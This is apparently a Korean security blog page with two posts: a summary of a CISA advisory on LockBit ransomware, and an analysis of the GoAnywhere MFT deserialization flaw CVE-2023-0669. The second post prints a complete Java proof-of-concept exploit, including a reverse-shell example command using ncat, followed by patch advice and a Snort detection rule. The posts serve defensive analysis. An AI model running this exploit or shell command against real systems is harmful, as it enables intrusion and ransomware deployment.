1. 개요

- 미국 CISA, FBI, MS-ISAC와 여러 국가의 사이버 보안 그룹이 LockBit 랜섬웨어 관련 분석 및 보안권고 발표

- 공격자는 LockBit을 사용해 다양한 주요 인프라 분야를 지속적으로 공격

> 금융, 식품 및 농업, 교육, 에너지, 정부 및 응급 서비스, 의료, 제조 및 운송 등

> 20년 이후 약 1,700건의 공격 시도, 69건의 침해사고, 1,653명의 피해 확인

- 변종을 개발하여 고도화하고, RaaS(Ransomware-as-a-Service)를 지원해 랜섬웨어 배포

> 20년 이후 72건의 변종 발견

 

2. 주요내용

- 내부망 침입을 위해 합법적인 사용을 목적으로 하는 여러 프리웨어 및 오픈 소스 도구 활용

> 용도를 변경하여 네트워크 정찰, 원격 액세스 및 터널링, 자격 증명 덤프, 파일 유출 등에 악용

구분 도구명 사용 목적 LockBit 그룹 사용 목적
정보수집 AdFind AD(Active Directory)를 검색 및 정보 수집 AD 정보를 수집하여 권한 확대 및 네트워크 이동
Advanced 
Internet Protocol (IP) 
Scanner
네트워크 스캔 후 네트워크 장치 표시 잠재적인 액세스 벡터를 식별하기 위해 피해자의 네트워크를 매핑
Advanced
Port
Scanner
네트워크 스캔 공격에 사용할 TCP/UDP 포트 검색
Bloodhound 공격 경로 관리를 위한 AD 정찰을 수행 네트워크 액세스 권한을 얻기 위해 악용될 수 있는 AD 관계를 식별
Seatbelt 여러 보안 지향 검사 수행 보안 지향 검사 수행해 시스템 정보 나열
SoftPerfect
Network 
Scanner
시스템 관리를 위해 네트워크 스캔을 수행 시스템 및 네트워크 정보 획득
원격접근 AnyDesk 원격 접속 프로그램 네트워크 장치 원격 제어
Atera 
Remote Monitoring 
& Management
(RMM)
네트워크 장치에 대한 원격 연결 활성화 네트워크 장치 원격 제어 네트워크 장치 원격 제어
Ligolo 펜 테스트를 위해 SOCKS5 또는 TCP 터널을 역방향 연결에서 설정 역방향 터널링을 통해 피해자 네트워크 내의 시스템에 연결
Ngrok 인터넷을 통한 터널링을 통해 로컬 웹 서버에 원격 접근 인터넷을 통해 시스템에 터널링하여 네트워크 보호를 우회
ScreenConnect 
(또는 ConnectWise)
네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
Splashtop 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
TeamViewer 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
ThunderShell HTTP 요청을 통한 원격 액세스 네트워크 트래픽을 암호화하면서 원격으로 시스템 접근
자격 증명
정보 수집
ExtPassword Windows 시스템에서 암호 복구 네트워크 액세스 및 자격 증명 획득
LaZagne 여러 플랫폼에서 시스템 암호를 복구 시스템 및 네트워크 액세스를 위한 자격 증명 수집
LostMyPassword Windows 시스템 암호 복구 네트워크 액세스 및 자격 증명 수집
Microsoft 
Sysinternals 
ProcDump
중앙 처리 장치(CPU) 스파이크에 대한 애플리케이션을 모니터링하고 스파이크 중에 크래시 덤프를 생성 LSASS(Local Security Authority Subsystem Service)의 콘텐츠를 덤프하여 자격 증명 획득
Mimikatz 시스템에서 자격 증명 추출 네트워크 액세스 권한을 얻고 시스템을 악용하기 위해 자격 증명 추출
PasswordFox Firefox 브라우저 암호 복구 네트워크 액세스 및 자격 증명 수집
권한 상승 AdvancedRun 다른 설정으로 소프트웨어 실행 소프트웨어 실행 전 설정 변경을 통해 권한 상승 활성화
네트워크 이동 Impacket 네트워크 프로토콜 작업을 위한 Python 클래스 모음 네트워크 이동 활성화
공격 파일 유포 Chocolatey Microsoft Windows에서 명령줄 패키지 관리 LockBit 그룹 도구 설치에 활용
시스템제어 Microsoft
Sysinternals
PsExec
원격 시스템에서 명령줄 프로세스를 실행 시스템 제어
탐지우회 7-zip 파일을 아카이브로 압축 유출 전에 감지되지 않도록 데이터 압축
Backstab 맬웨어 방지 프로그램 EDR로 보호되는 프로세스를 종료
Bat Armor PowerShell 스크립트를 사용해 .bat 파일을 생성 PowerShell 실행 정책 우회
Defender 
Control
Microsoft Defender를 비활성화 Microsoft Defender 우회
GMER 루트킷 제거 EDR 소프트웨어 종료하고 제거
PCHunter 시스템 프로세스 및 커널을 포함한 고급 작업 관리를 활성화 EDR 프로세스 종료 및 우회
PowerTool 루트킷을 제거하고 커널 구조 수정을 감지, 분석 및 수정 EDR 소프트웨어 종료 및 제거
Process 
Hacker
루트킷 제거 EDR 소프트웨어 종료 및 제거
PuTTY Link (Plink) Windows SSH(Secure Shell) 작업 자동화 탐지 우회
TDSSKiller 루트킷 제거 EDR 프로세스 종료 및 제거
데이터 유출 FileZilla 플랫폼 간 파일 전송 프로토콜(FTP) LockBit 그룹으로 데이터 유출
FreeFileSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
MEGA Ltd MegaSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
Rclone 클라우드 저장소 파일을 관리 클라우드 스토리지를 통한 데이터 유출
WinSCP Microsoft Windows용 SSH 파일 전송 프로토콜을 사용하여 파일 전송 SSH 파일 전송 프로토콜을 통해 데이터 유출

 

- 기존 RCE 취약점 및 새로운 취약점 악용

구분 CVE CVSS 설명
신규 취약점 CVE-2023-0669 7.2 Fortra GoAnyhwere Managed File Transfer(MFT) 원격 코드 실행 취약점
CVE-2023-27350 9.8 PaperCut MF/NG 부적절한 접근 제어 취약점
기존 취약점 CVE-2021-44228 10.0 Apache Log4j2 원격 코드 실행 취약점
CVE-2021-22986 9.8 F5 BIG-IP 및 BIG-IQ 원격 코드 실행 취약점
CVE-2020-1472 10.0 NetLogon 권한 상승 취약점
CVE-2019-0708 9.8 Microsoft 원격 데스크톱 서비스 원격 코드 실행 취약점
CVE-2018-13379 9.8 Fortinet FortiOS SSL VPN 경로 우회 취약점

 

3. 권고사항

- 관리자 계정 지속적 모니터링 및 감사

- 원격 접근 방지를 위한 망분리 및 서비스 계정 제한 (권한, 세션 시간 제한 등)

- 확산 방지를 위한 업무별 중요도 파악 및 네트워크 분할

- 탈취 계정 사용 방지를 위한 비밀번호 변경 및 MFA 활성화

- 잘못된 AD 보안 구성이 있는지 지속적 점검

- 교육을 통한 임직원 보안 인식 제고 및 향상

 

4. 참고

[1] https://www.cisa.gov/news-events/news/us-and-international-partners-release-comprehensive-cyber-advisory-lockbit-ransomware
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

'랜섬웨어 > 분석' 카테고리의 다른 글

다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04

1. GoAnywhere MFT

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점

- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중

영향받는 버전
- GoAnywhere MFT < 7.1.2

 

[사진 2] Shodan GoAnywhere 검색 화면

 

2.1 분석 [3][4]

- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생

- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달

- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음

[사진 3] LicenseResponseServlet

 

- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출

[사진 4] LicenseAPI.getResponse()

 

- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증

[사진 5] BundleWorker.unbundle()

 

- 공격자는 다음의 과정을 거치는 것으로 판단됨

① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송

② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행

 

2.2 PoC [5]

① 원격 명령이 포함한 암호화된 bundle 매개변수 생성

/goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달

package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

 

[사진 6] Exploit 패킷

3. 대응방안

3.1 서버측면

GoAnywhere MFT 7.1.2 업데이트 적용

- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행

> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함

[사진 7] 패치 버전

② 추가 대응

- 벤더사에서는 2가지 완화 방안을 제공

> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인

> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집

[사진 8] WEB-INF/web.xml 파일 편집 내용

3.2 네트워크 측면

- 보안 장비에 탐지 패턴 적용

alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

[2] https://www.tenable.com/cve/CVE-2023-0669

[3] https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_anywheremft

[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability

[5] https://github.com/0xf4n9x/CVE-2023-0669

[6] https://www.boannews.com/media/view.asp?idx=114180

 

 

+ Recent posts